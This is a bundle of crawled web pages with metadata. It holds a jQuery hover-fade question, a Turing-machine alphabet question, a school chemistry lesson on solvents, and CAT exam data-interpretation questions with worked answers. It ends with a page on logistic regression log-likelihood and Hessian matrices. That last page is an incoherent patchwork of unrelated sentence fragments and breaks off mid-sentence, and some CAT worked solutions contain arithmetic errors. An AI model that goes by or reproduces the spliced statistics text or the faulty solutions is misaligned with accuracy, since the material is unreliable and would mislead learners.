https://codereview.stackexchange.com/questions/25491/hover-for-fading-effect	# .hover() for fading effect Is there a better way to write the JS for this? I'm asking because I read from somewhere that using .hover isn't recommended. Also, if I move the mouse in and out of the box really fast, the box fades in and out the exact number of times I entered/left the box. How do I prevent this? jsFiddle $(".project-mask").hover( function() {$(".thumbnail").fadeOut(300); $(".description").fadeIn(300); }, function() {$(".thumbnail").fadeIn(300); $(".description").fadeOut(300); } ); .project-mask { height:260px;position:relative;width:260px } .thumbnail, .description { position:absolute;width:100% } <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <article class="project"> <div class="project-mask"> <div class="thumbnail"> <img src="http://dummyimage.com/260x260/000/fff" height="260" width="260" /> </div> <div class="description"> <p>blah blah blah</p> </div> </div> </article> ## 2 Answers This type of functionality is what .hover() was designed for. I wouldn't recommend using anything else. As far as avoiding building up a queue of events when hovering, jQuery has the .stop() method for that very reason. $(".project-mask").hover( function() { $(".thumbnail").stop(true, true).fadeOut(300);$(".description").stop(true, true).fadeIn(300); }, function() { $(".thumbnail").stop(true, true).fadeIn(300);$(".description").stop(true, true).fadeOut(300); } ); Here is a fiddle This might work too. At least you should traverse! $(".project-mask").hover(function() {$(this).find(".thumbnail, .description").stop(true, true).fadeToggle(300); });	2022-06-24 23:13:34	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4223555028438568, "perplexity": 1665.9129336194776}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656103033816.0/warc/CC-MAIN-20220624213908-20220625003908-00094.warc.gz"}
https://cs.stackexchange.com/questions/75551/turing-machine-with-a-countably-infinite-alphabet	# Turing machine with a countably infinite alphabet Suppose you have a Turing machine, but with a countably infinite alphabet. How does such a Turing machine differ from an ordinary Turing machine, either in terms of computability or of complexity classes? Do complexity classes for ordinary Turing machines hold up in such a model? Edit: quick addendum - it seems obvious that the existence of a countably infinite alphabet leads to uncountably many state transition functions. I'm curious for the answer to both my original question, and to the restriction in which the only transitions allowed are recursive. • Colors? Turing machines don't have colors. I don't understand what you are asking. Is there some context we are missing? Did you mean states instead of colors? I think someone has asked that before -- have you searched thoroughly on this site? – D.W. May 18 '17 at 0:28 • Here's the definition of a Turing machine, in which the term "color" is used synonymously with something like "symbol": mathworld.wolfram.com/TuringMachine.html – Mike Battaglia May 18 '17 at 0:31 • Got it. That's not an ideal reference on Turing machines, as it uses non-standard terminology & notation. Most computer scientists probably won't know that terminology. I would suggest studying standard references and textbooks to make sure you know the standard terminology, so you can formulate the question in a way others can understand. Are you asking about what happens if the tape alphabet (often denoted $\Gamma$) is infinite? But the input alphabet ($\Sigma$) remains finite? – D.W. May 18 '17 at 0:42 • I'm asking about the instance that the tape alphabet and input alphabet are both countably infinite, but I am curious how it would work if we restrict the input alphabet to be finite. – Mike Battaglia May 18 '17 at 0:54 The first step is to convert the input word to a single symbol, in some one-to-one fashion. We can do that since $\bigcup_{n=0}^\infty \aleph_0^n = \aleph_0$. You can then encode your language in the transition function.	2019-07-23 17:08:40	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6262950301170349, "perplexity": 429.9774630373384}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-30/segments/1563195529480.89/warc/CC-MAIN-20190723151547-20190723173547-00350.warc.gz"}
https://www.yaclass.in/p/science-state-board/class-10/solutions-draft-11481/re-5447db47-f95a-47ca-8045-144920e1f07e	### Theory: The majority of the substances are soluble in water. That is why water is referred to as a "Universal solvent." Universal solvent However, some substances do not dissolve in water. As a result, other solvents, such as ethers, benzene, and alcohols, are used to prepare a solution by dissolving the substances. Some substances do not dissolve in water Based on the type of solvent used solutions are classified into two types: • Aqueous solutions • Non-aqueous solutions Aqueous solutions: The aqueous solution is a solution in which water acts as a solvent. Example: Common salt in water, sugar in water, copper sulphate in water, and so on. Dissolving salt in water Here in the above examples, the solvent is water, and the solute is common salt, sugar, copper sulphate, etc. Non-aqueous solutions: The non-aqueous solution is a solution in which any liquid other than water acts as a solvent. Solvent other than water is considered a non-aqueous solvent. Non-aqueous solvents include alcohols, benzene, ethers, carbon disulphide, acetone, and others. Example: Iodine dissolved in carbon tetrachloride, sulphur dissolved in carbon disulphide, etc. Iodine does not dissolve in an aqueous solution Iodine dissolved in non-aqueous solution Iodine dissolved in carbon tetrachloride: In this case, the solvent is carbon tetrachloride, and the solute is iodine. (a) Sulphur dissolved in $$CS_2$$ (b) Sulphur insoluble in water Sulphur dissolved in carbon disulphide: The solvent is carbon disulphide, and the solute is sulphur.	2021-09-20 17:08:13	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4266614615917206, "perplexity": 7889.821717389973}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-39/segments/1631780057083.64/warc/CC-MAIN-20210920161518-20210920191518-00486.warc.gz"}
https://cracku.in/blog/cat-data-change-over-a-period-questions-pdf/	0 128 # Data Change Over a Period Questions for CAT Data Change Over a Period is one of the key topics in the CAT LRDI Section. You can check out these CAT Data Cange Over a Period Questions from the CAT previous year papers. This article will look into some very important ‘Data Change Over a Period’ questions PDF (with solutions) for CAT. You can also download these CAT Data Change Over a Period questions with detailed solutions, which also include important tricks to solve these questions. Instructions During 2015-2019, the revenues of four companies P-S were as follows: Question 1: Which of the given companies has seen the highest year-on-year growth (in percentage) in any single year during this five-year period? a) P b) There was a tie among multiple companies c) R d) Q e) S Solution: By noticing the table we can come to conclusion that either of P in 2018 or Q in 2017 must have highest yoy growth. YOY of P in 2018=50/200 100=25% YOY of Q in 2017 = 40/140 100 = 28.57% Instructions Based on the information answer the questions which follow. IBM is one of the most valuable technology brand in the world. Visualizing the trends, IBM has added and dropped business segments across years. For example, “Technology Services and Cloud Platforms (TSCP)” which started in 2015 only, generated a revenue of approximately 34280 million U.S. Dollars in 2017. Table shows the Global Revenue generated by IBM in nine different segments of its business from 2010 to 2017 in millions USD. IBM’s Golbal Revenue from 2010 to 2017 (in millions U.S. Dollars) TSCP-Technology Services & Cloud Platforms. CS-Cognitive Solutions, GBS-Global Business Services, SYS-Systems, GF-Global Financing, Other. SOFT-Software. GTS-Global Technology Services and S&T-Systems and Technology Question 2: By how much is ratio of percentage of ‘revenue from Global Business Services’ to ‘Total Revenue’ lower than ratio of percentage of ‘revenue from Cognitive Solutions’ to ‘Total Revenue’ for the year 2016? a) 1 b) 2 c) 3 d) 5 Solution: Difference = $\ \ \frac{\ 18190-16700}{79920}\times\ 100\ =\ 1.86\%\ \approx\ 2\%$ Question 3: The profit booked by IBM in year 2012 is USD 49 billion. Considering equal percentage profit margins across all segments, then approximate profit made by ‘Systems and Technology’ in millions USD is a) 8200 b) 8500 c) 8700 d) 8900 Solution: Revenue in 2012 = 18570 + 2010 + 580 + 25450 + 40240 + 17670 = 104520 = 104.52 billion Profit % = $\frac{49}{104.52-49}\times\ 100\ =\ 88.26\%\$ Let the profit made by Systems and Technology in 2012 be ‘x’ $\frac{x}{17670-x}=\frac{49}{55.52}$ x = 8283.87 Question 4: Which segment has earned third highest cumulative revenue in the time period 2010-2017? b) Software c) Global Technology Services d) Systems and Technology Solution: TSCP – 35140 + 35240 + 34280 = 104760 CS – 17840 + 18190 + 18450 = 54480 GBS – 18220 + 19280 + 18570 + 18400 + 17800 + 17160 + 16700 + 16350 = 142480 – 2nd SYS – 9550 + 7710 + 8190 = 25450 GF – 2240 + 2100 + 2010 + 2020 + 2000 + 1840 + 1690 +1700 = 15600 Others – least – 3710 SOFT – 22490 + 24940 + 25450 + 25930 + 25400 = 124210 – 3rd GTS – 38200 + 40880 + 40240 + 38550 + 37100 = 194970 – 1st S&T – 17970 + 18990 + 17670 + 14370 + 10000 = 79000 Software has earned third highest cumulative revenue in the time period 2010-2017. Question 5: For the year 2017, if the revenue in different segments is represented on a pie-chart, what sector angle would be represented by ‘Global Business Services (GBS)’? a) 75 Degree b) 85 Degree c) 80 Degree d) 70 Degree Solution: Total revenue in 2017 = 34280 + 18450 + 16350 + 8190 + 1700 + 170 = 79140 Angle subtended by GBS = $\frac{16350}{79140}\times\ 360^{\circ\ }$ = 74.37 $\approx\$ 75 Instructions Question 6: What was the approximate number of unemployed persons in 2006? a) 100 million b) 102 million c) 98 million d) 105 million e) 104 million Solution: Population = GDP/GDP per capita In 2006, GDP = Rs.41159.73 billion GDP per capita = Rs. 36,553.93 => Population = 41159.731000/36553.93 = 1126 million. From the table, we can see that 8.9% of the total population was unemployed in 2006. => Number of unemployed people = 0.0891126 = 100 million (approx) Therefore, option A is the right answer. Question 7: Read the statements given below: l.Exports were more than imports in 2006 2.Imports were more than exports in 2009 3.Exports increased at faster rate than imports during the period 2005 to 2010 Which of the above statements is necessarily true? a) 1 and 2 b) 1, 2 and 3 c) 3 only d) 2 only e) 1 only Solution: The table provides details only regarding the % change in the imports and exports. We do not have any detail regarding the base value. Therefore, we cannot find out the absolute values and hence, statements 1 and 2 cannot be verified. The percentage change of exports and imports over the given period can be found out. Among the given options, option C is the only viable option now. Since none of the above is not present among the options, option C must be the right answer. To actually compare the growth rate of export and import. we can multiply the rates to find the net change and then compare. Question 8: What is the ratio of the current account balance in 2010 to the current account balance in 2005? a) 0.35 b) 4.56 c) 5.01 d) 2.57 e) 5.30 Solution: Current account balance = Current account balance percentage of GDP*GDP Current account balance in 2010 = 3.268% of 73555.34 = 2403.7885 Current account balance in 2005 = 1.272% of 35662.2 = 453.623 Ratio = 2403.7885/453.623 = 5.3 (approximately). Therefore, option E is the right answer. Instructions The horizontal bars in the above diagram represent 2020 aggregate sales (in ₹ million) of a company for the different subcategories of its products. The top four product subcategories (Bookcases, Chairs, Furnishings, Tables) belong to furniture product category; the bottom four product subcategories (Accessories, Copiers, Machines, Phones) belong to the technology product category while all other product subcategories belong to the office supply product category. For each of the product subcategories, there is a vertical line indicating the sales of the corresponding subcategory in 2019. Question 9: The improvement index for a category is the maximum percentage increase in sales from 2019 to 2020 among any of its subcategories. The correct order of categories in increasing order of this improvement index is a) furniture, technology, office supply b) technology, furniture, office supply c) office supply, technology, furniture d) office supply, furniture, technology Solution: The improvement index for a category is the maximum percentage increase in sales from 2019 to 2020 among any of its subcategories. Hence based on the information provided in the tabular data we need to look for the different subcategories where the rise in sales from 2019 to 2020 is higher. Based on the visual data : In the furniture category : Bookcases and Chairs have a relatively high percentage increase : Books cases: 1.9 million to 2.2 million ( 15.7 percent increase ) Chairs: 6.2 million to 7 million ( 12.9 percent increase) In the office supply category : Binders and Appliances have a relatively high percentage increase : Binders: 3.6 million to 5.3 million (47 percent increase ) Appliances: 1.9 million to 3.15 million ( 65.7 percent increase) In technology product category : Accessories: 3.1 to 4.4 million. (41.9 percent increase) Phones: 5.8 million to 7.7 million ( 32.7 percent increase) Hence among the categories : The highest increase among them is in the order : Furniture < Technology product < office supply. Question 10: How many subcategories had sales of ₹ 4 million or more in 2019 and registered an increase in sales in excess of 25% in 2020? Solution: The number of subcategories had sales of ₹ 4 million or more in 2019 and registered an increase in sales in excess of 25% in 2020 : The subcategories with more than 4 million in sales in 2019 are : Chairs: 6.2 million in 2019 and 7 million in 2020. ( For a 25 percent increase the sales must be at least 7.8 million and hence fails) Tables: 4.4 million in 2019 and 4.5 million in 2020. ( For a 25 percent increase the sales must be at least 5.5 million and hence fails) Storage: 4.3 million sales in 2019 and 5.1 million in 2020. ( For a 25 percent increase the sales must be at least 5.4 and hence fails) Phones: 5.75 million in 2019 and 7.5 million in 2020. ( An increase of 30.5 percent) Hence only one subcategory satisfies the condition. Question 11: The percentage increase in sales in Furniture category from 2019 to 2020 is closest to a) 20% b) 8% c) 25% d) 1% Solution: The percentage increase in sales in the furniture category from 2019 to 2020 are : Bookcases: 1.9 million in 2019 and 2.2 million in 2020. Chairs: 6.2 million in 2019 and 7 million in 2020. Furnishings: 2.05 million in 2019 and 2.1 million in 2020. Tables: 4.4 million in 2019 and 4.5 million in 2020. Hence the percentage increase is given by : $\frac{\left(\left(2.2+7+2.1+4.5\right)-\left(1.9+6.2+2.05+4.4\right)\right)}{1.9+6.2+2.05+4.4}$ $\frac{\left(15.8-14.55\right)}{14.55}\cdot100\ =\ \frac{125}{14.55}=\ 8.53\%$ Question 12: The total sales (in ₹ million) in 2019 from products in office supplies category is closest to a) 18.0 b) 16.5 c) 13.5 d) 12.5 Solution: The total sales from products in the office supply category in 2019 is : Sum of sales of : Binders: 3.6 million Art : 0.4 million. Appliances: 1.9 million Envelops: 0.3 million Fasteners: 0.1 million Labels: 0.2 million Paper = 1.5 million. Storage: 4.3 million. Supplies: 1.1 million. The sum of sales of these products = 3.6+0.4+1.9+0.3+0.1+0.2+1.5+4.3+1.1 = 13.4 million. The closest among the option is 13.5 million. Instructions During 2015-2019, the revenues of four companies P-S were as follows: Question 13: It was discovered later that one of the companies misreported its revenue of one of the years. If the misreported revenue is replaced by the correct revenue, the revenues of that company over the five-year period will be in an arithmetic progression. The company that misreported its revenue was a) R or S b) S only c) P or R d) P or S e) P only	2022-10-02 12:41:38	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.24236375093460083, "perplexity": 1862.1722248188141}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337322.29/warc/CC-MAIN-20221002115028-20221002145028-00763.warc.gz"}
http://montagebau-friedrich.de/logistic-regression-log-likelihood-hessian-matrix.html	Logistic Regression Log Likelihood Hessian Matrix 5 Fixed-Hessian Newton method Another way to speed up Newton’s method is to approximate the varying Hessian with a ﬁxed matrix H˜ that only needs to be inverted once. loglike_and_score (params) Returns log likelihood and score, efficiently reusing calculations. Our new hypothesis (or predictor, or regressor) becomes h w(x) = g(wx) = 1 1 + e wx = 1 1 + e P d dx Because logistic regression predicts probabilities, we can t it using likelihood. You may want to check on this by providing different starting values in a PARMS statement, just to be sure that you are converging to a global extremum, rather than a. Metaheuristics based on genetic algorithms (GA), covariance matrix self-adaptation evolution strategies (CMSA-ES), particle swarm optimization (PSO), and ant colony optimization (ACO) were used for minimizing deviance for Poisson regression and maximizing the log-likelihood function for logistic regression and Cox proportional hazards regression. Multinomial logistic regression model is a statistical model with an assumption that linear relationships are there between explanatory variable and a response variable of multiple labels. Recall that, in linear models, we assume that E(YijXi) = XT i and in the non-linear models, E(YijXi) = f(Xi; ). Logistic regression is a workhorse of statistics and is closely related to methods used in Ma- Another way to speed up Newton's method is to approximate the varying Hessian with a ﬁxed matrix H˜ that only needs to be inverted once. iteration instead of the Hessian matrix leading to a monotonically converging sequence of iterates. We can obtain optimal parameter of regression function by maximizing the log likelihood function. is penalized by the determinant of the information matrix , and the components of the gradient. It is for scalar form of. In logistic regression, we assume that $Y_{1}, \ldots , Y_{n}$ are independent Bernoulli random variables with [math]\operatorname{P}(Y_{i} =1 \| X, \beta. (2) Implement a logistic regression model and train it using gradient descent only on digit 0 and digit 1. Hessian matrix Optimization for logistic regression The negative log-likelihood in logistic regression is a convex function Both gradient descent and Newton’s method are common strategies for setting the parameters in logistic regression Newton’s method is much faster when the dimension is small, but is impractical when is large Why?. I know of a proof for this which involves finding matrix of second derivatives (Hessian) for the given expression and proving that it is negative semi definite. Using the properties we derived above and the chain rule. 7437920 0 Ridge-stabilized Newton-Raphson Givenaninitialvalueθ−. This study focuses on investigating the asymptotic properties of maximum likelihood estimators for logistic regression models. ) by Venebles & Ripley, p445. Using newton method to maximize likelihood in logistic regression. It means that unlike simple logistic regression, ordinal logistic models consider the probability of an event and all the events that are below the focal event in the ordered hierarchy. Thus @ @ i @ @ 0 j = x0wx (38) 5 Multinomial Logistic Regression Let y^ ij = f j(u i) = eu ij P c k=1 e u ik (39) and ˆ i the negative log-likelihood of the output vcector y i given. The Hessian can be written as H = X T SX, where. The asymptotic covariance matrix of the maximum likelihood estimator is usually estimated with the Hessian (see the lecture on the covariance matrix of MLE estimators), as follows: where and (is the last step of the iterative procedure used to maximize the likelihood). However, they estimate the coe cients in a di erent manner. For models without weights or clustering, standard errors are found by inverting the Hessian matrix of the log-likelihood (see the "standard" option in LatentGOLD; Vermunt & Magidson, 2005a, pp. Adams COS 324 – Elements of Machine Learning Princeton University When discussing linear regression, we examined two diﬀerent points of view that often led to similar algorithms: one based on constructing and minimizing a loss function, and the other based on maximizing the likelihood. The linear part of the model predicts the log-odds of an example belonging to class 1, which is converted to a probability via the logistic function. Logistic regression 13 the full version of the Newton-Raphson algorithm with the Hessian matrix. Ordinary least squares minimizes RSS; logistic regression minimizes deviance. The above function is also as known as sigmoid function:. Q r:= E fr 2logP n[X rjX r]:g S := f(r;t)jt 2N(r)g, Q. The derivatives of the log likelihood function (3) are very important in likeli-hood theory. The following handout provides an overview of logistic regression. For logistic regression, the link function need to map the interval (0;1) to the real Maximize the log-likelihood function '( ) to obtain the MLE b which the Hessian matrix is replaces by its expected value, which is the Fisher Information Matrix. very well when training using log-likelihood •Gradient and Hessian in 2-class Logistic Regression is a matrix called the Hessian. 1 Compute Second Derivative of Log Likelihood Function ( \ell” (\mathbf {w})) By multiplying the above three matrices, we get a Hessian matrix with [1+M\times1+M] dimensions. or logistic regression. (b) Show that the ﬁrst iteration of Newton’s method gives us θ⋆ = (XT X)−1XT~y, the solution to our least squares problem. The probability of that class was either p. We rst require that the submatrix of the Hessian matrix corresponding to the relevant covariates has eigenvalues bounded away from zero. The Regression node belongs to the Model category in the SAS data mining process of Sample, Explore, Modify, Model, Assess (SEMMA). Other combinations are possible. The most popular tech-nique is a variant of Newton's method, iteratively re-weighted least squares (IRLS), which iteratively min-imizes a quadratic approximation to the likelihood. then we keep iterating and updating beta until the value of beta converges and further updates are not affecting it. This is typical in exponential family regression models (i. h ( x ( i)) + ( 1 − y ( i)) log. Logistic regression - maximum likelihood The likelihood, log-likelihood, gradient and Hessian can be written as f(yjX; ) = Y i n ˙(X i ) y i[1 ˙(X i )] 1 o: '( ) = X i fy i log(˙(X where S is a diagonal matrix with entries ˙(X )(1 ˙(X i )) 9/31. Logistic Regression. Hot Network Questions. def hessian_logistic_model (coefficient, independent_variable): #Hessian matrix of logistic model. The Stan code internally using the qr decompositon on the design matrix so that highly collinear columns of the matrix do not hinder the posterior sampling. modify the code above to maximize the likelihood of an intercept-only model) Are these estimates equal? B. Locally-weighted logistic regression In this problem you will implement a locally-weighted version of logistic regression, where. There may be a quasi-complete separation in the data. MLE is obtained via iterative Newton-Raphson to ﬁnd the root of the derivative of log-likelihood function. The matrix of second derivatives, called the. To incorporate the structural information into modeling, as motivated from the matrix structure of X, we propose the matrix variate logistic (MV-logistic) regression model (2. See full list on towardsdatascience. When you use maximum likelihood estimation (MLE) to find the parameter estimates in a generalized linear regression model, the Hessian matrix at the optimal solution is very important. ⇡ is a probability, so log The log likelihood function for logistic regression is ( \| y)= Xn i=1 Newton-Raphson algorithm in which the Hessian matrix (matrix of second partial derivatives) is replaced by its expected value (-Fisher Information matrix). The approximation is valid when the probability of response is small. For variable X we assume a logistic regression model to estimate Y : π(x)= exp(α + βx) 1+exp(α + βx) ⇐⇒ log π(x) 1 − π(x. Bohning (1999) has shown that the convergence of this approac¨ h we obtain that the log-likelihood. I encountered 2 problems: I encountered 2 problems: I try to fit the model to my data, but during the iterations, a singular Hessian matrix is encountered, what do I do with this kind of problem?. The posterior probability p(xjy; ) is a sigmoid function of training feature vector and label (x;y) and parameter. Let us start today our series on classification from scratch… The logistic regression is based on the assumption that given covariates , has a Bernoulli distribution,The goal is to estimate parameter. Recall that in binary logistic regression we typically have the hypothesis function h θ be the logistic function. Generalized Linear Models The exponential family. com Abstract Stochastic gradient descent e ciently estimates maximum likelihood logistic regression coe cients from sparse input data. from_formula (formula, data[, subset, drop_cols]) Create a Model from a formula and dataframe. The point is that the problem is not with the package itself but rather with the lack of understanding of the underlying process on your part, which is logistic regression with categorical predictors. Jan 24, 2018 · 7. Logistic Regression and Newton-Raphson 1. 27 GRADIENT FOR LOGISTIC REGRESSION 28 Likelihood on one example is: We’re going to dive into this thing here: d/dw(p) 29 Slide courtesy of William Cohen ( f n )' = nf n −1 ⋅ f ' p 30 Slide courtesy of William Cohen 31 Slide courtesy of William Cohen 32 Slide courtesy of William Cohen Details: Picking learning rate • Use grid. Log Likelihood. It provides a useful tool for solving multi-classification problems in various fields, such as signal and image processing, machine learning and disease diagnosis. Image under CC BY 4. Given a training data set, it tries estimate parameters $\beta$ in order to maximize the conditional log-likelihood function with a logistic probability model. It is the sum of the likelihood residuals. X^T, where X is the data matrix and D is some intermediary -- normally diagonal and in this case it's our cosh function). The log-likelihood function for logistic function is. You may want to check on this by providing different starting values in a PARMS statement, just to be sure that you are converging to a global extremum, rather than a. The Fisher information matrix for the estimated parameters in a multiple logistic regression can be approximated by the augmented Hessian matrix of the moment-generating function for the covariates. I have added the likelihood ratio test (LRT) for logistic regression into seer, in addition to the existing Wald test as noted in issue 42. Newton-Raphson Maximum Likelihood Estimation in Logistic Regression. Regularization with respect to a prior coe cient distribution destroys the sparsity of the gradient evaluated at a single example. (b) Show that the ﬁrst iteration of Newton’s method gives us θ⋆ = (XT X)−1XT~y, the solution to our least squares problem. Regression/Classification & Probabilities computes the log likelihood, forms can be very expensive to calculate and store the Hessian matrix. 547712524 BIC = -18. Naively, one might assume that the solution resides on a boundary given that the logistic regression models were so easily estimable; however, looking at the log-relative likelihood contours given in Figure 2, this is clearly not the case. estimate probability of "success") given the values of explanatory variables, in this case a single categorical variable ; $$\pi = Pr (Y = 1\|X = x)$$. Other combinations are possible. Introduction 2. hessian (params) Multinomial logit Hessian matrix of the log-likelihood. Given an estimate µ(t) at the tth iteration, the SM algorithm (Lange et al. With its use one can obtain a simple closed-form estimate of the asymptotic covariance matrix of the maximum likelihood. In higher dimensions, the equivalent statement is to say that the matrix of second derivatives (Hessian) is negative semi definite. the log-likelihood function, which is done in terms of a particular data set. Logistic regression is one of the most popular ways to fit models for categorical data, especially for binary response data. Evaluation of posterior distribution p(w\|t) –Needs normalization of prior p(w)=N(w\|m 0,S 0)times likelihood (a product of sigmoids). fit_regularized ([start_params, method, …]) Fit the model using a regularized maximum likelihood. In this paper, we first study the group sparse multinomial logistic regression model and establish its optimality conditions. Newton-Raphson for logistic regression Leads to a nice algorithm called recursive least squares The Hessian has the form: H = TR where R is the diagonal matrix of h(x i)(1 h(x i)) The weight update becomes: w (TR ) 1 TR(w R 1(w y) COMP-652, Lecture 5 - September 21, 2009 13. student is coded up as a factor, so R automatically turns it into a. (OI), which is the matrix of second-order derivatives of the negative log-likelihood evaluated at the observed data (aka the Hessian matrix). Generic Structure of SM Algorithm In many applications, we have to consider the prob-lem of maximizing an arbitrary function L(µ) w. Adams COS 324 – Elements of Machine Learning Princeton University When discussing linear regression, we examined two diﬀerent points of view that often led to similar algorithms: one based on constructing and minimizing a loss function, and the other based on maximizing the likelihood. Penalized maximum likelihood estimates for ( r = 1, …, k ) are involved in calculating where the h i 's represent the diagonal elements of the penalized likelihood version of the. software calculates and returns the Hessian matrix. Write the log-likelihood of the parameters, and derive the maximum likelihood estimates for φ, θ0, and θ1. This process is called performing a logistic regression. Results of model with regularization Metrics (in average) Training Test Log Loss 0. In higher dimensions, the equivalent statement is to say that the matrix of second derivatives (Hessian) is negative semi definite. Newton's method. 2 OVERVIEW OF LOGISTIC MAXIMUM LIKELIHOOD ESTIMATION I begin with a review of the logistic regression model and maximum likelihood esti-mation of the parameters of that model. On the Inference of the Logistic Regression Model 1. Then the variance-covariance matrix can be used to find the usual Wald confidence intervals and -values of the coefficient estimates. 5 Fixed-Hessian Newton method Another way to speed up Newton’s method is to approximate the varying Hessian with a ﬁxed matrix H˜ that only needs to be inverted once. ~ How to compute Hessian matrix for log-likelihood function for Logistic Regression I am currently studying the Elements of Statistical Learning book. Logistic Regression Machine Learning negative log likelihood:= nll(w ) r w nll = Xn • Requires computing Hessian (matrix of second derivatives). It provides a useful tool for solving multi-classification problems in various fields, such as signal and image processing, machine learning and disease diagnosis. The linear part of the model predicts the log-odds of an example belonging to class 1, which is converted to a probability via the logistic function. It is the most important (and probably most used) member of a class of models called generalized linear models. Regression/Classification & Probabilities • can be the negative of the log likelihood or log posterior • Consider a fixed training set; think in weight (not input) space. Logistic regression 13 the full version of the Newton-Raphson algorithm with the Hessian matrix. ## (Intercept) 0. then we keep iterating and updating beta until the value of beta converges and further updates are not affecting it. In this pa-per, we apply a trust region Newton method to maximize the log-likelihood of the logis-tic regression model. 1 Logistic Regression. Gradient and Hessian of log-likelihood for logistic regression b. The solution to this model is obtained via Maximum Likelihood Estimation. log (1-sigmoid_probs)) Finally, we implement the gradient and the hessian of our log-likelihood. The most popular tech-nique is a variant of Newton's method, iteratively re-weighted least squares (IRLS), which iteratively min-imizes a quadratic approximation to the likelihood. Dear R Users/Experts, I am using a function called logitreg() originally described in MASS (the book 4th Ed. (2) Implement a logistic regression model and train it using gradient descent only on digit 0 and digit 1. Hao Helen Zhang Lecture 5: LDA and Logistic Regression 2/39. Percentiles The maximum likelihood estimate of the p ×100% percentile x p for the extreme value, normal, and logistic distributions is given by where z p =G-1 (p), G is the standardized CDF shown in Table 30. Fitting Logistic Regression Model (K-ary response). an alternative to logistic regression, this model has been previously suggested in the literature where (β) denotes the log-likelihood given the observed data. However, it is challenging to extend this idea to inference for the case probability mainly due to the fact that the Hessisan matrix EHb( ) is complicated in the logistic model and x 2Rp can be an arbitrary. , by maximizing the log likelihood. There are many techniques for solving convex optimization problems. Therefore, in this case f(y ijx i) = p y i i (1 p i) (1 y i) where p i= Pr(y i= 1 jx i). The default is TRUE. 1 [21 points] Logistic regression. These two formulas can be written into one. Although glm can be used to perform linear regression (and, in fact, does so by default), this. With what's left, I'm going to have a go at building a logistic regression model. Please submit code as well as the written solution. X^T, where X is the data matrix and D is some intermediary -- normally diagonal and in this case it's our cosh function). Recall that the heuristics for the use of that function for the probability is that Maximimum of the (log)-likelihood function The log-likelihood is … Continue reading Classification from. H = ∑ i = 1 p x i i 2 (F (x i T β) (1 − F (x i T β)) ⏟ = probability > 0. The likelihood. When Newton's method is applied to maximize the logistic regression log likelihood function ℓ(θ), the resulting method is also called Fisher scoring. If we write the Hessian matrix form again, that is. Logistic Regression The log likelihood is defined as the natural log of the equation (1. Observations: 999 Model: Logit Df Residuals: 991 Method: MLE Df Model: 7 Date: Fri, 19 Sep. Please submit code as well as the written solution. The latter effect can be seen by forming the covariance matrix which is just the inverse of the information matrix, which is just the Hessian matrix of the negative likelihood. There were technical difficulties in the MCMC sampling of binary phenotypes for the BVSR probit model. Results shown are based on the last maximum likelihood iteration. the newton ralphson method (the approximation) here we use the taylor series expansion of the max likelihood function that we have 